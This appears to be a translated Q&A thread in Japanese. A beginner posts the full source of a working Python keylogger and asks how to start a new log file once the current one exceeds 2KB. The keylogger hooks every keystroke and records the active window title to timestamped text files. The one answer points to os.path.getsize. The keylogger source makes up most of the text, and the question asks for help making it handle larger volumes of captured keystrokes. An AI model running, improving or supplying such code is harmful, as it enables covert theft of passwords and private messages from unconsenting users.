1

キーを書き込んでいるファイルが 2Kb を超えているかどうかを確認したい。2KB を超える場合は、別のファイルを作成して、このファイルへの書き込みを停止する必要があります。私はPythonの初心者です。これを手伝ってください。ファイルが 2kb を超えているかどうかを確認するためのコードをどこで使用できるかを示してください。

import win32api , win32console , win32gui , pythoncom , pyHook , sys, time ,os
import datetime 
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path =  p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
lastWindow = None
lastWindow=win32gui.GetWindowText (win32gui.GetForegroundWindow())
while True:
    def OnKeyboardEvent(event):
        global lastWindow
        window = event.WindowName
        key = chr(event.Ascii)
        if window != lastWindow:
            print window 
            lastWindow = window
        print key
    hm = pyHook.HookManager()

    hm.KeyDown = OnKeyboardEvent

    hm.HookKeyboard()
    pythoncom.PumpMessages()

あなたが助けてくれることを願っています

4

1 に答える 1

1

使用できます.getsize

>>> import os
>>> b = os.path.getsize("/path/isa_005.mp3")
>>> b
2071611L
于 2013-05-28T04:18:46.553 に答える